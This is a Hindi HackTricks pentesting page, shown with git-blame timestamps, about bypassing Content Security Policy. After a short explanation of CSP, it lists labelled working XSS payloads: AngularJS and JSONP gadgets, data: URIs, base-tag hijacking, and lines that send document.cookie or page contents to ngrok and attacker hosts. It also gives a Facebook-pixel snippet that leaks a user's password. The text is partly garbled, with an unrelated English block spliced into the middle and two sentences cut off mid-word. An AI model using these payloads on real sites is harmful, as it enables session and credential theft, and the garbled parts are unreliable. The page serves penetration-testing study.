hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

742 lines
72 KiB
Markdown
Raw Normal View History

# सामग्री सुरक्षा नीति (CSP) बाईपास
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मेरा** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
</details>
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
2023-02-27 09:28:45 +00:00
**हैकिंग इंसाइट्स**\
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री से जुड़ें
2023-02-27 09:28:45 +00:00
**रियल-टाइम हैक न्यूज़**\
तेजी से बदलती हैकिंग दुनिया के साथ अप-टू-डेट रहें न्यूज़ और इंसाइट्स के माध्यम से
2023-07-14 15:03:41 +00:00
**नवीनतम घोषणाएं**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
2023-07-14 15:03:41 +00:00
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
## CSP क्या है
सामग्री सुरक्षा नीति (CSP) को ब्राउज़र प्रौद्योगिकी के रूप में मान्यता प्राप्त है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS) जैसे हमलों से बचाव** है। यह ब्राउज़र द्वारा सुरक्षित रूप से लोड किए जा सकने वाले संसाधनों के मार्ग और स्रोतों को परिभाषित और विस्तारित करके काम करता है। इन संसाधनों में छवियाँ, फ्रेम्स, और जावास्क्रिप्ट जैसे तत्व शामिल होते हैं। उदाहरण के लिए, एक नीति स्वयं डोमेन (सेल्फ) से संसाधनों को लोड और क्रियान्वित करने की अनुमति देने की सक्षम हो सकती है, जिसमें इनलाइन संसाधनों और `eval`, `setTimeout`, या `setInterval` जैसे फ़ंक्शन के माध्यम से स्ट्रिंग कोड का क्रियान्वयन शामिल हो सकता है।
CSP का कार्यान्वयन **प्रतिक्रिया हेडर** के माध्यम से या **HTML पेज में मेटा तत्वों को शामिल करके** किया जाता है। इस नीति के अनुसार, ब्राउज़र सक्रिय रूप से इन निर्धारित शर्तों का पालन करते हैं और किसी भी पारदर्शित उल्लंघन को तुरंत रोक देते हैं।
2021-04-23 10:43:58 +00:00
- प्रतिक्रिया हेडर के माध्यम से कार्यान्वित:
```
2021-04-23 10:43:58 +00:00
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- मेटा टैग के माध्यम से लागू किया गया:
```xml
2021-04-23 10:43:58 +00:00
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
2023-11-06 08:38:02 +00:00
### हेडर्स
CSP को इन हेडर्स का उपयोग करके प्रवर्तित या मॉनिटर किया जा सकता है:
* `Content-Security-Policy`: CSP को प्रवर्तित करता है; ब्राउज़र किसी भी उल्लंघन को रोकता है।
* `Content-Security-Policy-Report-Only`: मॉनिटरिंग के लिए उपयोग किया जाता है; उल्लंघन की रिपोर्ट बनाता है बिना उन्हें रोकने के। प्री-प्रोडक्शन वातावरण में टेस्टिंग के लिए आदर्श है।
2021-04-23 10:43:58 +00:00
### संसाधनों की परिभाषा
CSP निर्माणात्मक और निष्क्रिय सामग्री को लोड करने के लिए मूल स्रोतों को प्रतिबंधित करता है, इनलाइन जावास्क्रिप्ट निष्पादन और `eval()` का उपयोग जैसे पहलुओं को नियंत्रित करता है। एक उदाहरण नीति है:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
2022-12-03 17:35:56 +00:00
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### निर्देशिकाएँ
* **script-src**: जावास्क्रिप्ट के लिए विशिष्ट स्रोतों को अनुमति देता है, जैसे URL, इनलाइन स्क्रिप्ट, और इवेंट हैंडलर या XSLT स्टाइलशीट द्वारा ट्रिगर किए गए स्क्रिप्ट।
* **default-src**: विशिष्ट फेच निर्देशिकाओं के अभाव में संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
* **child-src**: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमति देने वाले स्रोतों को निर्दिष्ट करता है।
* **connect-src**: fetch, WebSocket, XMLHttpRequest जैसे इंटरफेस का उपयोग करके लोड किए जा सकने वाले URL को प्रतिबंधित करता है।
* **frame-src**: फ्रेम के लिए URL को प्रतिबंधित करता है।
* **frame-ancestors**: वर्तमान पृष्ठ को एम्बेड करने के लिए कौन स्रोत उपयोग कर सकते हैं, `<frame>`, `<iframe>`, `<object>`, `<embed>`, और `<applet>` जैसे तत्वों के लिए लागू है।
* **img-src**: छवियों के लिए अनुमति देने वाले स्रोतों को परिभाषित करता है।
* **font-src**: `@font-face` का उपयोग करके लोड किए जाने वाले फ़ॉन्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
* **manifest-src**: एप्लिकेशन मैनिफ़ेस्ट फ़ाइलों के अनुमत स्रोतों को परिभाषित करता है।
* **media-src**: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमति देने वाले स्रोतों को परिभाषित करता है।
* **object-src**: `<object>`, `<embed>`, और `<applet>` तत्वों के लिए अनुमति देने वाले स्रोतों को परिभाषित करता है।
* **base-uri**: `<base>` तत्वों का उपयोग करके लोड करने के लिए अनुमति देने वाले URL को निर्दिष्ट करता है।
* **form-action**: फॉर्म सबमिशन के लिए मान्य एंडपॉइंट्स की सूची देता है।
* **plugin-types**: पृष्ठ द्वारा आमंत्रित किए जाने वाले माइम प्रकारों को प्रतिबंधित करता है।
* **upgrade-insecure-requests**: ब्राउज़र को HTTP URL को HTTPS में रीव्राइट करने के लिए निर्देशित करता है।
* **sandbox**: `<iframe>` के सैंडबॉक्स विशेषता के समान प्रतिबंध लागू करता है।
* **report-to**: यदि नीति का उल्लंघन होता है तो रिपोर्ट भेजा जाएगा उस समूह को निर्दिष्ट करता है।
* **worker-src**: Worker, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
* **prefetch-src**: उन स्रोतों के लिए मान्य स्रोतों को निर्दिष्ट करता है जो लोड या पूर्वाभिलेखित किए जाएंगे।
* **navigate-to**: किसी भी तरीके से एक दस्तावेज़ जिसे नेविगेट किया जा सकता है के लिए URL को प्रतिबंधित करता है (a, form, window.location, window.open, आदि)।
### स्रोत
* `*`: `data:`, `blob:`, `filesystem:` योजनाओं वाले URL को छोड़कर सभी URL की अनुमति देता है।
* `'self'`: एक ही डोमेन से लोड करने की अनुमति देता है।
* `'data'`: डेटा योजना के माध्यम से संसाधनों को लोड करने की अनुमति देता है (उदाहरण के लिए, बेस64 एन्कोडेड छवियाँ)।
* `'none'`: किसी भी स्रोत से लोड करने की अनुमति नहीं देता है।
* `'unsafe-eval'`: `eval()` और समान विधियों का उपयोग करने की अनुमति देता है, सुरक्षा कारणों से सिफारिश नहीं की जाती है।
* `'unsafe-hashes'`: विशिष्ट इनलाइन इवेंट हैंडलर्स को सक्षम करता है।
* `'unsafe-inline'`: इनलाइन `<script>` या `<style>` जैसे इनलाइन संसाधनों का उपयोग करने की अनुमति देता है, सुरक्षा कारणों से सिफारिश नहीं की जाती है।
* `'nonce'`: एक क्रिप्टोग्राफिक नॉन्स (एक बार उपयोग किया गया संख्या) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक सफेद सूची।
* `'sha256-<hash>'`: विशिष्ट sha256 हैश के साथ स्क्रिप्ट को सफेद सूची में रखता है।
* `'strict-dynamic'`: यदि एक नॉन्स या हैश द्वारा सफेद सूची में शामिल किया गया है तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
* `'host'`: `example.com` जैसा विशिष्ट होस्ट निर्दिष्ट करता है।
* `https:`: HTTPS का उपयोग करने वाले उन URL को प्रतिबंधित करता है।
* `blob:`: ब्लॉब URL से संसाधनों को लोड करने की अनुमति देता है (उदाहरण के लिए, जावास्क्रिप्ट के माध्यम से बनाए गए ब्लॉब URL)।
* `filesystem:`: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।
* `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघन कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)।
* `'strict-origin'`: 'self' के समान है लेकिन स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित मूल स्रोत सुरक्षित मूल स्रोतों से संसाधनों को लोड कर सकते हैं)।
* `'strict-origin-when-cross-origin'`: समान मूल स्रोत अनुरोध करते समय पूर्ण URL भेजता है, लेकिन अनुरोध क्रॉस-मूल होने पर केवल मूल को भेजता है।
* `'unsafe-allow-redirects'`: संसाधनों को लोड करने की अनुमति देता है जो तुरंत दूसरे संसाधन पर पुनर्निर्देशित होंगे। सुरक्षा कमजोर करने के लिए सिफारिश नहीं की जाती है।
## असुरक्षित सीएसपी नियम
### 'unsafe-inline'
2021-04-23 10:43:58 +00:00
```yaml
2023-11-06 08:38:02 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' के माध्यम से Iframes
2022-04-19 22:38:50 +00:00
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}
2022-06-23 12:52:13 +00:00
### 'unsafe-eval'
2021-04-23 10:43:58 +00:00
```yaml
2023-11-06 08:38:02 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
काम करने वाला पेलोड:
2022-12-03 17:35:56 +00:00
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
2023-02-20 09:58:12 +00:00
### strict-dynamic
यदि आप किसी प्रकार से **अनुमत JS कोड नए स्क्रिप्ट टैग** को DOM में अपने JS कोड के साथ बना सकते हैं, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रहा है, तो **नया स्क्रिप्ट टैग को निषेधित किया जाने दिया जाएगा**
2023-02-20 09:58:12 +00:00
2022-06-28 23:51:00 +00:00
### Wildcard (\*)
2021-04-23 10:43:58 +00:00
```yaml
2023-11-06 08:38:02 +00:00
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
काम करने वाला पेलोड:
2021-04-23 10:43:58 +00:00
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### ऑब्जेक्ट-स्र्स और डिफ़ॉल्ट-स्र्स की कमी
2022-09-04 09:37:14 +00:00
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
**ऐसा लगता है कि यह अब काम नहीं कर रहा है**
2022-09-04 09:37:14 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
Content-Security-Policy: script-src 'self' ;
```
काम करने वाले payloads:
2021-04-23 10:43:58 +00:00
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
2022-10-28 09:19:40 +00:00
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
2021-04-23 10:43:58 +00:00
<param name="AllowScriptAccess" value="always"></object>
```
### फ़ाइल अपलोड + 'self'
2021-04-23 10:43:58 +00:00
```yaml
2023-11-06 08:38:02 +00:00
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
यदि आप एक JS फ़ाइल अपलोड कर सकते हैं तो आप इस CSP को बाईपास कर सकते हैं:
2023-11-06 08:38:02 +00:00
काम करने वाला पेलोड:
2021-04-23 10:43:58 +00:00
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
हालांकि, यह अधिक संभावित है कि सर्वर **अपलोड की गई फ़ाइल की पुष्टि कर रहा है** और केवल आपको **निर्धारित प्रकार की फ़ाइलें अपलोड करने देगा**
इसके अतिरिक्त, यदि आप एक फ़ाइल में **JS कोड अपलोड** कर सकते हैं जिसमें सर्वर द्वारा स्वीकृत एक्सटेंशन का उपयोग किया जाता है (जैसे: _script.png_) तो यह काफी नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **एक्सटेंशन पर आधारित फ़ाइल के MIME प्रकार का चयन करते हैं** और Chrome जैसे ब्राउज़र **उसमें जावास्क्रिप्ट को निषेधित करेगा** जो कुछ एक छवि होना चाहिए। "आशा है", यहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मुझे पता चला कि **अपाचे को पता नहीं है** कि _**.wave**_ एक्सटेंशन, इसलिए यह एक **ऑडियो/\*** जैसा MIME प्रकार के साथ सर्विस नहीं करेगा।
यहाँ से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल और स्क्रिप्ट की सामग्री का अपलोड करने की कोशिश कर सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल का सही प्रारूप जांच रहा है, तो एक पॉलीग्लॉट बना सकते हैं ([यहाँ कुछ पॉलीग्लॉट उदाहरण हैं](https://github.com/Polydet/polyglot-database))।
### थर्ड पार्टी एंडपॉइंट + ('unsafe-eval')
2022-12-03 17:35:56 +00:00
{% hint style="warning" %}
कुछ निम्नलिखित पेलोड के लिए **`unsafe-eval` की आवश्यकता ही नहीं है**।
2022-12-03 17:35:56 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
2023-11-06 08:38:02 +00:00
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
2021-04-23 10:43:58 +00:00
```
एक वंलरेबल संस्करण को लोड करें और विविध JS को क्रियान्वित करें:
```xml
2021-04-23 10:43:58 +00:00
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
2023-01-02 20:17:43 +00:00
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
2023-01-04 12:21:48 +00:00
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
2023-11-06 08:38:02 +00:00
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
2023-01-04 12:21:48 +00:00
>
```
#### Angular + एक पुस्तकालय का उपयोग करने वाले पेलोड ([इस पोस्ट की जाँच करें](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
2023-01-02 20:17:43 +00:00
{% hint style="info" %}
इस पोस्ट में दिखाया गया है कि आप **cdn.cloudflare.com** से सभी **पुस्तकालय** को **लोड** कर सकते हैं (या किसी अन्य अनुमत JS पुस्तकालय भंडार से), हर जोड़ी गई प्रति पुस्तकालय से सभी जोड़ी गई कार्यों को क्रियान्वित कर सकते हैं, और जांच कर सकते हैं **कौन से पुस्तकालयों से कौन से कार्य `window` ऑब्ज
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
2023-01-02 20:17:43 +00:00
<div ng-app ng-csp>
2023-11-06 08:38:02 +00:00
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
2023-01-02 20:17:43 +00:00
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
2023-11-06 08:38:02 +00:00
{{$on.curry.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
2023-11-06 08:38:02 +00:00
{{[].erase.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
</div>
2023-11-06 08:38:02 +00:00
```
#### Google reCAPTCHA JS को दुरुपयोग करना
[**इस CTF व्रिटअप**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) के अनुसार आप [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) का दुरुपयोग कर सकते हैं एक CSP के अंदर अनियमित JS कोड को चलाने के लिए CSP को छलकरते हुए:
```html
<div
2023-11-06 08:38:02 +00:00
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
### तीसरे पक्ष के एंडपॉइंट + JSONP
2021-04-23 10:43:58 +00:00
```http
2023-03-05 18:12:38 +00:00
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
ऐसे परिदृश्य जहाँ `script-src` को `self` और एक विशेष डोमेन जो whitelist किया गया है पर सेट किया गया है, JSONP का उपयोग करके बाईपास किया जा सकता है। JSONP endpoints असुरक्षित कॉलबैक मेथड को संभावित करते हैं जिससे हमलावार XSS कार्रवाई कर सकते हैं, कार्यक्षम पेलोड:
2021-04-23 10:43:58 +00:00
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
2023-03-05 18:12:38 +00:00
```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **में विभिन्न वेबसाइटों के CSP बाईपास के लिए तैयार JSONP एंडपॉइंट्स शामिल हैं।**
2023-03-05 18:12:38 +00:00
यदि **विश्वसनीय एंडपॉइंट में ओपन रीडायरेक्ट होता है**, तो एक ही सुरक्षा दोष होगा क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट्स भी विश्वसनीय होते हैं।
### तृतीय पक्ष का दुरुपयोग
[निम्नलिखित पोस्ट](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) में वर्णित के अनुसार, कई तृतीय पक्ष डोमेन, जो किसी स्थान पर CSP में अनुमति हो सकते हैं, उनका दुरुपयोग डेटा को बाहर ले जाने या JavaScript को क्रियान्वित करने के लिए किया जा सकता है। कुछ तृतीय-पक्ष हैं:
2023-10-23 14:43:34 +00:00
| Entity | Allowed Domain | Capabilities |
2023-10-23 14:43:34 +00:00
|--------|----------------|--------------|
| Facebook | www.facebook.com, *.facebook.com | Exfil |
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
2023-10-23 14:43:34 +00:00
यदि आपके लक्ष्य के CSP में किसी भी अनुमत डोमेन को पाते हैं, तो संभावना है कि आप तृतीय-पक्ष सेवा पर पंजीकरण करके CSP को बाईपास कर सकते हैं, या तो उस सेवा को डेटा को बाहर ले जाने के लिए या कोड को क्रियान्वित करने के लिए।
2023-10-23 14:43:34 +00:00
उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:
2023-10-23 14:43:34 +00:00
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
## Content Security Policy (CSP) Bypass
### Introduction
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) implemented on a web application.
### What is CSP?
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP is implemented by using an HTTP header to restrict the types of content that can be loaded on a web page.
### Bypassing CSP
There are several ways to bypass CSP, including:
1. **Inline Scripts**: Executing code directly within HTML attributes or tags.
2. **External Scripts**: Loading scripts from whitelisted domains.
3. **Unsafe Inline**: Using `'unsafe-inline'` keyword to allow inline scripts.
4. **Unsafe Eval**: Using `'unsafe-eval'` keyword to allow `eval()` function.
5. **Data Protocol**: Using the `data:` protocol to execute scripts.
6. **Nonce-Based CSP Bypass**: Generating and including a nonce value in the CSP header.
### Conclusion
By understanding how CSP works and the various bypass techniques available, you can effectively test the security of web applications and help developers improve their CSP configurations.
2023-10-23 14:43:34 +00:00
```
Content-Security-Policy: connect-src www.facebook.com;
```
आपको डेटा को बाहर ले जाने की क्षमता होनी चाहिए, जिसे [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) के साथ हमेशा किया गया है। इस मामले में, आप निम्नलिखित सामान्य चरणों का पालन करते हैं:
2023-10-23 14:43:34 +00:00
1. यहाँ एक Facebook Developer खाता बनाएं।
1. एक नया "Facebook Login" ऐप बनाएं और "वेबसाइट" का चयन करें।
1. "सेटिंग्स -> मूल" पर जाएं और अपना "ऐप आईडी" प्राप्त करें।
1. उस लक्ष्य साइट पर जहां से आप डेटा बाहर ले जाना चाहते हैं, आप डेटा को सीधे "फेसबुक एसडीके" गैजेट "fbq" का उपयोग करके "कस्टम इवेंट" और डेटा पेलोड के माध्यम से बाहर ले सकते हैं।
1. अपने ऐप "इवेंट मैनेजर" पर जाएं और आपने बनाया ऐप्लिकेशन चुनें (नोट करें कि इवेंट मैनेजर इस प्रकार के यूआरएल में पाया जा सकता है: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
1. "टेस्ट इवेंट्स" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स देख सकें।
2023-10-23 14:43:34 +00:00
फिर, पीड़ित पक्ष पर, आप निम्नलिखित कोड को निष्पादित करते हैं ताकि आप अटैकर के फेसबुक डेवलपर खाते के एप्लिकेशन आईडी पर फेसबुक ट्रैकिंग पिक्सल को प्रारंभ करें और एक कस्टम इवेंट जारी करें:
2023-10-23 14:43:34 +00:00
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
2023-10-23 14:43:34 +00:00
fbq('trackCustom', 'My-Custom-Event',{
2023-11-06 08:38:02 +00:00
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
2023-10-23 14:43:34 +00:00
});
```
### पिछले तालिका में उल्लिखित अन्य सात थर्ड-पार्टी डोमेनों के लिए, आप उनका दुरुपयोग करने के कई और तरीके हैं। अन्य थर्ड-पार्टी दुरुपयोगों के बारे में अतिरिक्त व्याख्यान के लिए पिछले [ब्लॉग पोस्ट](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) का संदर्भ दें।
2023-10-23 14:43:34 +00:00
### RPO (Relative Path Overwrite) के माध्यम से बायपास <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
2023-10-23 14:43:34 +00:00
पथ प्रतिबंधों को दुरुपयोग करने के लिए उपरोक्त पुनर्निर्देशन के अतिरिक्त, कुछ सर्वरों पर एक और तकनीक नामक Relative Path Overwrite (RPO) है।
उदाहरण के लिए, यदि CSP `https://example.com/scripts/react/` पथ को अनुमति देता है, तो इसे निम्नलिखित रूप में बायपास किया जा सकता है:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
ब्राउज़र आखिरकार `https://example.com/scripts/angular/angular.js` लोड करेगा।
यह काम करता है क्योंकि ब्राउज़र के लिए आप `https://example.com/scripts/react/` के नीचे स्थित `..%2fangular%2fangular.js` नामक फ़ाइल लोड कर रहे हैं, जो सीएसपी के अनुरूप है।
इसलिए, वे इसे डिकोड करेंगे, जिससे `https://example.com/scripts/react/../angular/angular.js` का अनुरोध किया जाएगा, जो `https://example.com/scripts/angular/angular.js` के समान है।
**ब्राउज़र और सर्वर के बीच URL व्याख्या में असंगति का उपयोग करके, पथ नियमों को उल्लंघित किया जा सकता है**।
समाधान यह है कि सर्वर-साइड पर `%2f` को `/` के रूप में न देखें, इस समस्या से बचने के लिए ब्राउज़र और सर्वर के बीच संदर्भ का संवेदनशील व्याख्यान सुनिश्चित करें।
ऑनलाइन उदाहरण: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS execution
2022-04-19 22:38:50 +00:00
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
2021-10-20 00:55:49 +00:00
{% endcontent-ref %}
2023-11-06 08:38:02 +00:00
### गायब **base-uri**
2022-03-21 17:05:35 +00:00
यदि **base-uri** निर्देशिका गायब है तो आप इसका दुरुपयोग करके [**डैंगलिंग मार्कअप इंजेक्शन**](../dangling-markup-html-scriptless-injection/) कर सकते हैं।
2022-03-21 17:05:35 +00:00
इसके अतिरिक्त, यदि पृष्ठ एक उपयुक्त **Nonce** का उपयोग करके एक संबंधित पथ का स्क्रिप्ट लोड कर रहा है (जैसे `<script src="/js/app.js">`), तो आप **बेस टैग** का दुरुपयोग करके इसे **अपनी सर्वर से स्क्रिप्ट लोड** करने के लिए कर सकते हैं जिससे एक XSS प्राप्त हो।\
यदि संकटपूर्ण पृष्ठ **httpS** के साथ लोड हो रहा है, तो बेस में httpS url का उपयोग करें।
2022-03-21 17:05:35 +00:00
```html
<base href="https://www.attacker.com/">
```
2023-11-06 08:38:02 +00:00
### AngularJS इवेंट्स
2022-03-21 17:05:35 +00:00
एक विशेष नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, जावास्क्रिप्ट इवेंट्स को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक रूप में कस्टम इवेंट्स को पेश करता है। एक इवेंट के भीतर, AngularJS एक अद्वितीय ऑब्ज
```xml
2021-11-14 19:46:18 +00:00
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
यह स्निपेट `ng-focus` निर्देशिका का उपयोग हासिल करता है घटना को ट्रिगर करने के लिए, `$event.path|orderBy` का उपयोग करता है `path` एरे को संशोधित करने के लिए, और `विंडो` ऑब्जेक्ट का लाभ उठाता है `alert()` फ़ंक्शन को क्रियान्वित करने के लिए, इसके फलस्वरूप `document.cookie` को प्रकट करता है।
